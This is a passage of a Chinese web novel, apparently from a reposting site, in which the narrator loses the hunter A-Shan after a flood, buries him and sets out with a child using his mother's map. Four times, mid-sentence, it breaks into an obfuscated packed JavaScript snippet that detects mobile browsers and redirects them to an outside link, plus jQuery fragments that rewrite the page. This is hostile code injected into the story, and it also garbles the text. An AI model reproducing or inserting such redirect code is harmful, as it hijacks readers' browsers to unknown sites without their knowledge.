我拿几根被洪水冲上来的断枝,用撕成条的衣料勉强固定住他的左臂。阿山试了试,虽然还是疼得皱眉,但手臂至少能保持一个相对正常的位置了。
“我们必须离开这里。”阿山看着山下,“这崖壁不结实,再来一场雨可能会塌。”
“可是村里……”我望向那片浑浊的汪洋。晨曦微光中,能隐约看到几处高地的屋顶,像墓碑一样矗立在水面上。
“先找路下去。”阿山挣扎着站起来,身体晃了晃。我赶紧扶住他。
一夜的暴雨冲刷,山体变得面目全非。我们记忆中的小路早已消失,取而代之的是滑溜的泥坡、裸露的树根和随时可能滚落的碎石。阿山右手拄着那根救命的树枝,我搀扶着他受伤的左臂,两人像两只狼狈的蜗牛,在泥泞中艰难挪动。
每走一步,阿山的呼吸就重一分,他的嘴唇已经失去了血色。
“阿山,我们休息一下……”
“不能停。”他摇头,“得趁天亮找到能落脚的地方。”
我们花了将近两个时辰,才从后山崖挪到一处相对平缓的山脊。从这里,可以更清楚地看到青石村的惨状。
村庄几乎被彻底抹去了。
低洼处的房屋连地基都没剩下,只有几根歪斜的房梁戳出水面。地势稍高的地方,土坯房塌了大半,泥墙泡在水里,正在慢慢溶解。水面上漂浮着各种杂物:木桶、破席子、半扇门板、还有……几只泡得发胀的家畜尸体。
没有人影。
没有呼救声。
只有死一般的寂静,和风吹过水面泛起的、带着油污的涟漪。
“妞妞……”我捂住嘴,眼泪涌了上来。
阿山死死盯着那片废墟,喉结滚动了一下:“去祠堂那边看看。祠堂地势最高,如果还有人活着……”
他没有说完,但我知道他的意思。祠堂是村里唯一用青石砌了地基的建筑,也是李大先生平时召集村民、宣讲规矩的地方。从我们所在的山脊到祠堂所在的高地,需要横穿一片被洪水淹没的洼地。水看起来不深,但底下全是淤泥和杂物。
“我背你过去。”阿山说。
“不行!你的手……”
“右手还能用。”他不由分说地蹲下身,“快点,水可能还会涨。”
我连忙趴到他背上。阿山深吸一口气,右手拄着树枝,一步步踏入浑浊的水中。
水很快淹到他的大腿,淤泥吸着脚,每一步都异常艰难。水下藏着折断的树枝、碎瓦,还有看不见的深坑。阿山走得极慢,每一步都小心翼翼,但身体还是因为疼痛和虚弱而微微发抖。
走到一半时,他的脚突然踩空。
“啊!”我们两人同时向前扑倒。
浑浊的泥水瞬间淹没了口鼻。我拼命挣扎,感觉到阿山用右手死死托住我,把我往上推。他自己却因为左臂无法用力,整个人沉了下去。
“阿山!”我尖叫着抓住他的衣领。
我们狼狈地爬上一截露出水面的断墙。阿山趴在墙砖上,剧烈地咳嗽,吐出好几口泥水。他的脸色白得像纸,左臂的固定松了,软软地垂着。
“你怎么样?阿山?阿山!”我拍打他的脸。
他缓缓睁开眼睛,眼神有些涣散:“没……没事。继续走。”
“我们回去!回山上去!”
“祠堂……就在前面了。”他指着不远处。确实,祠堂的青瓦屋顶已经清晰可见,那里似乎还有几间完好的偏房。
阿山挣扎着站起来,拒绝了我的搀扶:“我自己能走。”
最后一段路,他几乎是拖着左臂,一步一步挪过去的。每走一步,都在泥地上留下一个深深的、带着血丝的脚印。他的脚不知什么时候被划破了。
祠堂所在的这片高地,是青石村唯一的孤岛。洪水在这里退去了一些,露出湿漉漉的青石板地面。祠堂的主体建筑还算完好,只是门板被冲垮了,里面灌满了泥浆。旁边的两间偏房塌了一间,另一间看起来摇摇欲坠。
然后,我听到了声音。微弱的、压抑的哭泣声,从还算完好的那间偏房里传出来。
“有人!”我精神一振。
阿山也听到了,他加快脚步,我们踉跄着冲到偏房门口。门虚掩着。我推开门,里面挤着十几个人。全是妇孺和孩子。他们蜷缩在角落里,身上裹着湿透的破布,个个面如土色。地上有血迹,一个老妇人抱着个昏迷的孩子,孩子额头破了,血已经凝固。而蹲在门边,正用一块破布蘸着浑浊的雨水,试图给一个哭闹的婴儿擦脸的,是妞妞。
她听到动静抬起头,看到我们时,那双原本灵动的大眼睛瞬间被恐惧和茫然填满。她的小脸上全是泥污,头发湿漉漉地贴在额头上,那件我熟悉的、油腻腻的褂子已经破了好几个口子。
“……琪琪姐姐?”她喃喃道,然后目光移到阿山身上,“阿山叔叔……”
“妞妞!”我冲过去抱住她。她的身体冰凉,在我怀里瑟瑟发抖。
“你爹娘呢?其他人呢?”阿山扫视着屋里的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119589|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,声音沙哑。
妞妞的眼泪一下子涌了出来。“爹……爹去救王婶家的牛,水来了……娘拉着我跑,后来……后来娘不见了……”她哭得上气不接下气,“李大先生说……说祠堂高,让我们来这里……他自己……他去救‘祖宗牌位’了……”
屋里其他幸存者也陆续认出了阿山。一个中年妇人哭着说:“阿山,你来了就好了……李、李大先生他……他被压在祠堂的梁下了……我们抬不动……”
阿山脸色一变,转身就往外走。
“阿山!你的手!”我想拉住他。
“牌位下面有地窖入口。”阿山头也不回,“如果他还活着,可能在地窖里。”
我跟出去。祠堂正厅里一片狼藉,泥浆淹到小腿肚。正中央那根最粗的房梁塌了,压垮了供奉祖宗牌位的长案。牌位散落一地,泡在泥水里。
梁木下面,露出一角浆洗得发青的长衫。
是李大先生。
他被压在梁木和倒塌的砖石之间,只有上半身露在外面。那张总是刻板严肃的脸此刻扭曲着,眼睛紧闭,嘴唇发紫。他的右手还死死抓着一块祖宗牌位,左手则被压在砖石下,姿势诡异。
阿山走到他面前,蹲下身探了探鼻息。
“人还活着。”阿山说着,完全没有犹豫开始用右手搬动压在李大先生身上的碎砖。
“你的手不能用力!”我急道。
“帮忙。”阿山只说了两个字。
我咬着牙,和他一起清理砖石。李大先生左臂被压得血肉模糊,骨头可能断了。每动一下,昏迷中的他就发出一声痛苦的呻吟。
清理完碎砖,最大的问题是那根房梁。它太重了,至少需要三四个人才能抬动。
“我去叫人。”我说。
“来不及了。”阿山看着李大先生越来越微弱的呼吸,“他的胸口被压着,再拖就憋死了。”
他站起身,走到房梁的一端,把右肩抵在粗糙的木头上。
“阿山,你要干什么?你的右手也受伤了!”
“只能试试。”他深吸一口气,额头上青筋暴起,“你到那边去,等我抬起一点,就把他拖出来。”
“不行!你会——”
“琪琪!”阿山低吼一声,那是他第一次用这么严厉的语气叫我的名字,“听我的!救人。”
我眼泪模糊地跑到李大先生身边,抓住他还能动的右臂。
阿山开始用力。他整个人绷成一张弓,受伤的右臂和肩膀承受着难以想象的重压。我听到他牙关咬得咯咯作响,看到他脖子上血管暴突,看到他因为剧痛而浑身颤抖。
那根房梁,真的动了一点点。只有一点点,也许就几厘米。但对于被压住的李大先生来说,这几厘米就是生与死的缝隙。
“快!”阿山从牙缝里挤出一个字。
我用尽全身力气,把李大先生往外拖。他的身体卡得很死,泥浆吸着衣服。我摔倒了,爬起来继续拖,指甲抠进泥里,膝盖磕在碎砖上。
终于,李大先生的身体脱离了房梁的压迫。
9. 第九章 尘归尘
几乎就在同时——“咔嚓!”
一声清晰的、令人牙酸的断裂声。
不是木头,是骨头。
阿山的右臂,以一种完全违背生理结构的角度,向后弯折过去。
他连一声痛呼都没能发出,整个人像被抽掉骨头一样软倒下去,重重摔在泥浆里。
“阿山——!!!”我的尖叫声撕破了祠堂的死寂。
我连滚爬爬地扑到他身边。他的右臂从肩膀处完全脱臼,可能还骨折了。更可怕的是,他摔倒时后脑撞在了一块凸起的石头上,暗红色的血正从乱发间汩汩涌出,混进泥水里。
“阿山!阿山你醒醒!你看看我!”我疯狂地拍打他的脸,用手去捂他头上的伤口。血是温热的,那么多,怎么也捂不住。
他的眼皮颤动了一下,缓缓睁开。眼神是涣散的,找不到焦点。
“琪……琪……”他的嘴唇动了动,声音轻得像叹息。
“我在!阿山我在这里!你别睡,求求你别睡!”我哭喊着,撕下身上还算干净的布条,手忙脚乱地包扎他的头。血很快浸透了布条。
阿山的目光慢慢聚焦,落在我的脸上。他居然……笑了一下。
一个很浅、很疲惫的笑。
“哭……什么……”他气若游丝,“你……回去……的……路……”
“我不要回去!我要你活着!阿山你坚持住,我带你去找药,去找大夫……”我语无伦次。
他艰难地抬起被固定住起码还能动的左手,那只手也在剧烈颤抖,轻轻碰了碰我的脸颊,抹去一滴眼泪。
“脏……”他说,然后手无力地垂落。
“阿山?阿山!”
他的眼睛还睁着,看着祠堂破败的屋顶,看着那一线灰蒙蒙的天光,但瞳孔里的光,正在迅速消散。
“阿山你别吓我……你说话啊……你骂我娇气包啊……”我摇晃着他,但他没有任何反应。
只有胸口极其微弱的起伏,证明他还活着,但也只是活着。
“救救他!谁来救救他!”我朝着偏房的方向哭喊。
几个妇人闻声跑来,看到阿山的惨状,都倒吸一口凉气。
“快!抬到屋里去!”
“水!干净的布!”
“他头上还在流血!”
她们七手八脚地把阿山抬进偏房,放在相对干燥的角落。我跪在他身边,死死握着他冰凉的手。有人递来一碗还算清澈的雨水,我小心地喂他,但水都从嘴角流了出来。他的呼吸越来越浅,越来越慢。
时间一点点流逝。
偏房里的人轮流照顾着昏迷的李大先生和几个受伤的孩子,但所有人的目光,都不时地瞟向角落里的阿山和我。
妞妞蹲在我身边,小声啜泣着:“琪琪姐姐,阿山叔叔会好起来的,对不对?”
我张了张嘴,发不出声音。我不知道,我确实不知道。
傍晚时分,阿山的呼吸突然变得急促起来。他的身体开始轻微抽搐,喉咙里发出嗬嗬的声音。我慌忙扶起他,怕他呛到。然后,他睁开了眼睛。这一次,眼神是清明的。他看了看我,又看了看周围的环境,最后目光落在蜷缩在旁边的妞妞身上。
“妞妞……”他声音嘶哑。
“阿山叔叔!”妞妞哭着扑过来。
阿山用尽最后的力气,摸了摸妞妞的头:“乖……别哭……”
然后他看向我。
“琪琪……”他叫我的名字,每一个字都像是用生命挤出来的,“听我说……”
我凑近他,耳朵贴在他唇边。
“地窖……祠堂地窖……最里面……有我爹……留的……箱子……”他断断续续地说,“钥匙……在我……衣袋……夹层……”
“阿山,你别说了,保存体力……”
“不……”他固执地摇头,“箱子……里面……有……地图……去……山外……的路……”他的呼吸又急促起来,咳了几声,嘴角渗出血丝。
“你……拿着……带妞妞……走……”他死死盯着我的眼睛,“答应我……”
“我答应!我什么都答应!阿山你别死,求你了……”我哭得视线模糊。
他又笑了,那个笑容,像夕阳最后一点余晖,温暖,却转瞬即逝。
“我娘……说过……”他的声音越来越轻,轻得几乎听不见,“山外……有……光……”他的眼睛慢慢闭上,胸口最后一点起伏,停止了。握着我手的那只手,彻底失去了力量。
“阿山?”
“阿山!”
“阿山你醒醒!你睁开眼睛看看我!”
我疯狂地摇晃他,拍打他的脸,对着他的胸口按压,对着他的嘴吹气人工呼吸。我用尽我知道的一切急救方法,像个疯子一样。
但没有用,没有心跳,没有呼吸,什么都没有了……
那个背我下山,为我挡风,教我生存,用生命护着我的男人,那个臭烘烘却无比坚实的依靠,那个说“有我在,没人能动你”的猎人死了。
为了救那个一直想害死我的李大先生,死了。
我发出一声不似人声的哀嚎,整个人瘫软在地,世界在眼前旋转、崩塌。妞妞的哭声,妇人们的叹息,远处洪水的呜咽,全都变成了模糊的背景音。我只感觉到冷。刺骨的冷。从指尖,到心脏,再到灵魂深处。
不知过了多久,一双小手轻轻碰了碰我的肩膀。
“琪琪姐姐……”妞妞哭肿的眼睛看着我,“阿山叔叔……去星星上了吗?”
我抬起头,透过破败的屋顶,看到夜幕初临,几颗惨淡的星子刚刚亮起。
“……嗯。”我听见自己空洞的声音,“他去星星上了。”
“那他还会回来看我们吗?”
“……不会了。”
妞妞“哇”地一声又哭了出来。我抱住她,紧紧抱住。
夜深了。
幸存者们挤在一起取暖,睡去。李大先生还在昏迷中,但呼吸平稳了一些。
我坐在阿山身边,握着他已经僵硬的手。月光从破窗照进来,落在他脸上。泥污和血迹之下,那张脸依然棱角分明,眉头微微皱着,仿佛还在担心什么。我轻轻擦去他脸上的污迹。然后,我摸向他的衣袋。手指颤抖着,找到那个隐秘的夹层,抠出一把小小的、生锈的铜钥匙。我握紧钥匙,看向祠堂正厅的方向。
阿山用命换来的,不仅仅是一个人的生机,还有一条其他人可能的生路。我低下头,额头抵在他冰冷的手背上。泪水无声地流淌,但这一次,我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119590|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有发出声音。阿山的身体在偏房的角落躺了一夜。我没有合眼,就那样守着他。月光移动,从窗棂的这一头爬到那一头,最后被灰蒙蒙的晨光取代。他的脸在晨光中显得更加苍白,更加遥远,像一尊被风雨侵蚀的石像。
天刚亮,几个还能走动的妇人开始商量后事。
“得埋了……不能一直放着……”
“埋哪儿?地都泡着水。”
“后山崖那边,有块干地……”
她们的声音压得很低,但每个字都像针一样扎进我耳朵里。
“我来。”我缓慢地站起来,腿因为久坐而麻木。
她们看着我,眼神复杂,有同情,有畏惧,还有一丝不易察觉的疏离。在她们眼里,我依然是那个带来灾祸的“妖女”,而阿山的死,似乎更坐实了这一点。
“你一个人不行……”一个姓王的婶子犹豫着说。
“我可以。”我的声音平静得连自己都陌生。
我在祠堂废墟里找到一把还算完好的铁锹。锹柄断了半截,但勉强能用。又找到几块破门板,拼成一副简陋的担架。妞妞一直跟在我身后,小手紧紧拽着我的衣角。
我和王婶,还有另一个稍微年轻些的妇人,把阿山抬上担架。他很重,比活着的时候感觉还要重。我们三个人摇摇晃晃,深一脚浅一脚地往后山崖走。
路上,妞妞小声问:“琪琪姐姐,阿山叔叔会变成土吗?”
“……会。”
“那土里能长出花吗?”
“……也许能。”
后山崖那块所谓的干地,其实也只是相对而言。泥土湿软,一锹下去,带出半锹泥水。我机械地挖着,铁锹一次次举起,落下。手掌很快磨出了水泡,水泡破了,血混着泥,火辣辣地疼。
王婶看不过去,想换我干活:“琪琪姑娘,你歇会儿……”
“不用。”我继续挖。
坑挖到齐腰深的时候,我跳下去,用手把坑底的碎石一块块捡出来。指甲缝里塞满了泥,指尖被碎石划破也感觉不到疼。或者说,所有的疼,都比不上心里那个空洞的万分之一。
我们把阿山放进去。他的身体已经僵硬了,保持着那个微微蜷缩的姿势。我跪在坑边,最后一次整理他的衣服——那件被我强迫洗过很多次、已经破得不成样子的粗布衫。
然后,我开始填土。
一锹,一锹。
泥土落在他的脸上,胸口,腿上。先是盖住脚,然后是腰,胸口,最后是脸。那张棱角分明的、总是皱着眉头的、偶尔会对我露出笨拙笑容的脸,一点点消失在褐色的泥土之下。最后一锹土落下。地面上隆起一个小小的土包。没有墓碑,没有香烛,没有纸钱。只有一把断柄的铁锹插在土堆旁,像一根歪斜的引魂幡。
王婶和那个年轻妇人低声念了几句我听不懂的祷词,然后默默离开了。
妞妞蹲在土堆前,摘了几朵被洪水摧残后依然顽强开着的野花,放在上面。
“阿山叔叔,睡觉觉。”她小声说。
我站在那里,看着那个土堆。
风从山谷吹来,带着洪水的腥气和初冬的寒意。远处的山峦沉默着,天空是铅灰色的,低低压着。
这个世界,如此真实,又如此荒谬。
10. 第十章 重新开始
回到祠堂偏房,李大先生已经醒了。
他靠坐在墙角,左臂用破布条吊着,脸色蜡黄,但那双眼睛依然锐利,甚至比之前更加锐利,像淬了毒的针。他看到我进来,眼神闪烁了一下,那闪烁里没有感激,只有一种深不见底的算计。
“阿山呢?”他问,声音嘶哑得像破风箱。
“埋了。”我面无表情地说。
屋里瞬间安静下来。所有人都看向我,又看向李大先生,那目光里掺杂着同情、畏惧,还有一种更隐秘的东西,仿佛阿山的死终于印证了某种他们早已相信的宿命。李大先生沉默了很久,手指无意识地摩挲着那块被他拼死救出来的祖宗牌位。牌位已经裂了,用泥勉强糊着,像这个村子一样,外表还维持着形状,内里早已朽坏。
“他……”李大先生开口,又停住,最后只吐出三个字,“……可惜了。”
那语气里听不出多少悲痛,更像是一种筹码意外丢失后的遗憾。我看着他,忽然觉得胃里一阵翻搅。阿山用命换来的,就是这个人的一句“可惜了”。那些滚烫的血,那些断裂的骨头,那些最后时刻可能还残存的对我的担忧,在这个精于算计的老者眼里,不过是一笔算错了的账。
“地窖里有粮食。”李大先生转移了话题,语气恢复了那种惯常的、不容置疑的腔调,仿佛刚才那片刻的沉默只是为接下来的发号施令积蓄力量。“王家的,带两个人下去,把能吃的都搬上来。洪水退了,但冬天来了,得早做打算。”
几个妇人应声去了,脚步声在泥泞的地面上拖沓而沉重。李大先生的目光又落回我身上,像黏腻的蛛网:“琪琪姑娘,这次……多亏了你和阿山。”
我没有说话,任何言语在此刻都显得苍白而可笑。
“阿山是为了救我才……”他顿了顿,似乎在斟酌词句,好让接下来的话听起来更冠冕堂皇,“他是青石村的英雄。等灾情过去,我会召集全村,给他立碑。”
立碑?我几乎要冷笑出声。人都死了,烂在泥里了,立碑有什么用?碑文能写什么?写他如何为一个视他性命如草芥的人而死?写他如何被这个他试图守护的村庄的愚昧和冷漠逼上绝路?我依然沉默,这沉默像一堵墙,隔在我和他之间,隔在我和这个荒诞的世界之间。
李大先生似乎被我的沉默硌了一下。他清了清嗓子,那声音干涩难听:“你……接下来有什么打算?”他的瞳孔深处,像两口枯井,映不出任何光亮。
我抬起眼,直视他:“我要离开。”
“离开?”他眉头皱起,那皱纹里刻满了不赞同和隐隐的警惕,“现在山路都被冲毁了,外面兵荒马乱,出去就是送死。青石村虽然遭了灾,但根基还在,等水退,我们重建家园……”
“那是你们的事。”我打断他,声音不高,却异常清晰,“我要走。”
“你一个人走不了!”他的声音陡然拔高,带着一种被冒犯的恼怒,还有一丝不易察觉的慌乱,“而且,阿山刚死,尸骨未寒,你就急着离开,对得起他吗?”
这句话像一把淬了冰的匕首,精准无比地捅进我心里最柔软、最疼痛的地方。对得起他吗?这四个字在我脑海里反复撞击,激起一片尖锐的回响。我几乎要蜷缩起来,几乎要被这沉重的愧疚压垮。阿山的脸,他最后那个疲惫而温柔的笑容,他躺进土里时那永远凝固的姿势……这一切都让我呼吸困难。
但我没有退缩。一种更强大的、近乎本能的东西从心底涌起,压过了那噬骨的愧疚。我看着他,一字一句,像是从齿缝里挤出来:“正是因为他死了,我才必须走。”
留在这里,每一口呼吸都会提醒我他的死亡,每一寸土地都浸染着他的血迹。留在这里,我会被这无边的悔恨和这个村庄令人窒息的氛围活活吞噬。走,不是为了逃离他,而是为了背负着他留给我的那点微弱的关于“山外”和“光”的念想活下去。尽管此刻,连我自己都分不清,我想活下去,究竟是因为怕死,还是因为……这里已经有了让我眷恋到忘记真实与虚幻界限的东西。
李大先生死死盯着我,那双浑浊的眼睛里翻涌着复杂的情绪是惊愕、愤怒、算计,还有一丝……了悟。他仿佛终于看穿我平静表面下的决绝,也看清那决绝背后无法动摇的意志。对峙的沉默在潮湿的空气里蔓延,压得人耳膜发胀。最后,他肩膀几不可察地垮了一下,叹了口气,那叹息里充满了虚伪的无奈和真实的权衡。
“好吧……既然你心意已决。”他说,声音恢复了那种刻意放缓的显得宽宏大量的调子,“但至少等两天,等路稍微干一点。而且……你一个人带个孩子,总需要准备些干粮和水。”
他说的孩子,是指妞妞。妞妞一直躲在我身后,小手死死攥着我的衣角,指甲几乎要掐进我的皮肉里。她没有哭,只是睁着那双过早蒙上恐惧的大眼睛,看看李大先生,又看看我,像一只受惊的幼兽。
我没有反对。李大先生说的有道理,现在的确不是上路的时候。更深的寒意却从脊椎爬上来,他答应得太轻易了。这不像他的作风。这个将控制刻进骨子里的老人,怎么会如此轻易地放走我这个异端?
接下来的两天,我在熟悉的诡异且绷紧的平静中度过。
李大先生没有再为难我,甚至让王婶分给我和妞妞一份口粮。尽管那口粮少得可怜,几块硬如石头的杂粮饼,一小撮带着土腥味的粗盐,却已是这废墟里难得的善意。其他幸存者看我的眼神依然复杂,但至少没有人再当面指斥我为“妖女”。阿山的死,像一盆冷水,暂时浇熄了某些蠢蠢欲动的恶意,也或许,在生存的绝对压力面前,那些无谓的敌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119591|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意显得如此苍白可笑。
但我心里那根弦始终绷着,我太了解李大先生了。他的妥协从来不是终点,而是另一种计算的开始。每一次他看似温和的目光扫过我和妞妞,我都感觉像被冰冷的蛇信舔过。妞妞变得异常安静,除了必要,几乎不开口说话,只是紧紧跟在我身边,那双眼睛里除了对我依赖,还有莫名巨大的恐惧。她在怕什么?怕离开?还是怕……留下?
深夜,万籁俱寂,只有远处洪水的呜咽和幸存者压抑的鼾声。我悄悄起身,摸出那把阿山的铜钥匙。妞妞在睡梦中不安地动了动,我轻轻拍了拍她,她蜷缩得更紧,却没有醒。
祠堂正厅在月光下像一个巨大的、坍塌的兽口。地窖的入口就在原来供奉牌位的长案下方,如今长案断成数截,露出下方黑黢黢的洞口,仿佛通往另一个世界的咽喉。我点燃一根用破布和松脂勉强缠成的火把,橘黄的光晕在潮湿的墙壁上跳动,映出鬼魅般的影子。踩着湿滑黏腻的台阶走下去,霉味、土腥气和一种陈年积垢的气息扑面而来,几乎令人窒息。
地窖不大,借着摇曳的火光,能看到角落里堆着些半空的陶罐、受潮的麻袋,还有几件锈蚀的农具,一切都蒙着厚厚的泥尘。最里面,靠墙放着一个不起眼的木箱,箱体被岁月侵蚀得颜色发黑,却异常沉实。
钥匙插入锁孔的瞬间,发出“咔哒”一声轻响,在这死寂中格外清晰,我掀开箱盖。
没有金银财宝,只有几件叠得整整齐齐的粗布衣服,洗得发白,边角磨损,却异常干净,仿佛有人一直精心保管。那是女人的衣服。衣服下面,压着一本薄薄的手抄的《千字文》,纸张泛黄脆裂,墨迹却依然清晰,能看出书写者的认真。最下面,是一卷用油布仔细包裹着的东西,边角捆扎得一丝不苟。
我打开油布。
里面是一张手绘的地图,画在鞣制过的羊皮上,触感粗粝而坚韧。线条勾勒得不算精致,却异常清晰有力。青石村只是边缘一个微不足道的小点,一条弯弯曲曲、标注着山川河流的线,从这里毅然决然地出发,执拗地翻过三座险峻的山峰,跨过两条湍急的河流,最终指向一个叫做“清河镇”的地方。
地图的边缘,用娟秀工整的小楷写着几行注释:
“此路险,多狼豹,逢雨勿行。”
“过黑风岭需昼行,夜有瘴气。”
“清河镇有驿馆,可歇脚,勿信牙人。”
字迹清秀端正,和阿山那种粗犷有力的笔迹完全不同。是他母亲留下的。那个同样来自山外,最终消失在风雪中的女人。她把自己未能走完的路,未能抵达的“光”,连同对一个陌生世界全部的小心翼翼的认知,都留在了这张羊皮上。这不是一张普通的地图,这是一个母亲在绝境中,为可能存在的未来,埋下的一颗微弱的火种。
11. 第十一章 向阳启程
我把地图重新包好,和那本脆弱的《千字文》一起,紧紧贴在内衫最里层。想了想,又拿起一件女人的衣服,那粗布的纹理摩擦着指尖,仿佛能感受到另一个灵魂的温度。然后,我吹灭火把,让黑暗重新吞没一切,踩着台阶回到地面。祠堂里,月光依旧惨淡,照着满目疮痍。
回到偏房,妞妞不知何时醒了,正睁着那双在黑暗里显得格外大的眼睛,无声地望着门口的方向。看到我,她没有问,只是伸出手。我握住她冰凉的小手,在她身边躺下。她立刻像藤蔓一样缠上来,把脸埋在我肩窝,身体微微发抖。
“睡吧,”我低声说,声音在寂静中显得空洞,“明天一早,我们就走。”
她没有应声,只是攥着我的手更紧了些。
清晨,天色是一种浑浊的铅灰,仿佛昨夜的月光耗尽了最后一点清辉。空气冷得刺骨,呵出的气瞬间凝成白雾。我摇醒妞妞,她迷迷糊糊地坐起来,眼神还有些茫然,但看到我已经在收拾那个小小的包袱,立刻清醒了,自己默默地穿好那件破旧的小褂。
包袱里只有地图、书、两件衣服、几块杂粮饼和一小袋盐。轻得可怜,却重如千钧——这是阿山用命换来的全部希望。
走出偏房时,李大先生已经坐在门口那块被洪水冲刷得光滑的石墩上,像是在专门等我们。晨光勾勒出他瘦削而挺直的背影,竟有几分孤峭的意味。听到脚步声,他缓缓转过头,脸上没有什么表情,只有那双眼睛,在灰白的天光下,显得格外幽深。
“真要走了?”他问,语气平淡,听不出情绪。
“嗯。”
他沉默了片刻,那沉默像是有重量,压在我们之间的空气上。然后,他从怀里摸出一个小布包,递过来。布包很旧,边角磨损,打着一个死结。“拿着。”
我接过来,入手微沉。打开,里面是几块成色很差的碎银子,边缘磨损得厉害,还有两枚锈迹斑斑的铜钱。这点钱,在现实世界连一杯像样的咖啡都买不到,在这里,却可能是许多人一辈子都攒不下的巨款。
“村里公中的钱,就剩这些了。”李大先生的声音依旧平淡,甚至没有看那些钱,目光落在我脸上,又似乎穿透了我,看向更远的地方,“阿山救了全村……这算是……一点心意。”
我没有推辞,默默收下。这钱沾着阿山的血,也沾着这个村庄最后的、扭曲的良心。它买不回任何东西,却像一道烙印。
“路上小心。”李大先生最后说,站起身,拍了拍长衫下摆并不存在的灰尘。他的动作很慢,带着一种刻意为之的从容。“如果……如果外面真的不好,就回来。青石村……总归有你们一口饭吃。”
我没有回答,只是点了点头。回来?回到这个吞噬阿山,也即将吞噬我全部念想的地方?绝无可能。
我牵着妞妞的手,转身,踏出祠堂那扇歪斜的院门。门槛很高,上面沾着干涸的泥浆。妞妞迈过去时,踉跄了一下,我用力拉住她。她没有回头,我也没有。背后,那道目光如芒在背,一直跟随着我们,直到拐过断墙,消失在晨雾弥漫的村道尽头。
山路比预想中更难走。洪水像一头暴虐的巨兽,用爪牙将山体撕扯得面目全非。熟悉的小径荡然无存,到处是塌方的泥石、倒伏的树木和深不见底的泥潭。我们只能凭着地图上大致的方向,在嶙峋的乱石和湿滑的陡坡间艰难攀爬。
妞妞很乖,几乎不喊累,只是紧紧跟着我,小手因为用力而攥得发白。但她太小了,体力很快耗尽,走一段就要停下来喘气,小脸憋得通红。中午时分,我们找到一处背风的岩石缝隙,坐下来休息。我掰了半块杂粮饼给她,自己只撕了一小角,就着石缝里渗出带着土腥味的雨水,艰难地咽下去,饼硬得像石头,划得喉咙生疼。
“琪琪姐姐,我们还要走多久?”妞妞靠在我身上,声音因为疲惫而有些含糊。
“很久。”我望着前方雾气笼罩,仿佛没有尽头的山峦,“怕吗?”
她沉默,轻轻点点头,又摇摇头。“……怕。但我更怕留在村里。”她抬起头,眼睛里蒙着一层水汽,“李大先生看我的眼神……好吓人。像……像要把我吃掉。”
我心头一紧,将她搂得更紧些。孩子的直觉往往最敏锐。李大先生那看似平静的放行,底下究竟涌动着怎样的暗流?我不敢深想。
休息不到一刻钟,我们继续上路。下午的路更加险峻,我的手掌早已磨破,血混着泥,每抓一次岩石或树根,都传来钻心的刺痛。妞妞又摔了几次,膝盖和手肘磕得血肉模糊,她咬着嘴唇,眼泪在眼眶里打转,却硬是没有哭出声。
黄昏时分,我们才爬到第二座山的半山腰。天色以肉眼可见的速度暗下来,山林里开始响起各种窸窣的令人不安的声音。必须找地方过夜了。
我们在一个相对背风的坡地找到一处凹陷的岩壁,勉强能容下两人。我捡来一些尚未完全湿透的松枝和落叶,用火折子费力地点燃一小堆火。火光跳跃起来,驱散了些许寒意和黑暗,却也让我们在这无边荒野中显得更加渺小和醒目。
妞妞紧紧贴着我,身体一直在微微发抖。夜晚的山林苏醒了,风声穿过林隙,发出呜咽般的怪响,远处不知名的野兽嚎叫时而响起,悠长而凄厉,仿佛在宣告着这片土地的主权。
“睡吧,”我拍着她的背,声音放得很轻,“我守着。”
她点点头,闭上眼睛,但睫毛颤动得厉害,显然无法安眠。我坐在火堆旁,添了几根柴,看着火焰吞噬干燥的纤维,发出噼啪的微响。脑子里空荡荡的,没有回忆过去,也没有设想未来,甚至无法思考此刻的处境。一种巨大的、近乎麻木的疲惫笼罩着我。我只是存在着,在这堆微弱的火光旁,在这片吞噬了阿山,也即将吞噬我的山林里。
夜深了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119592|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
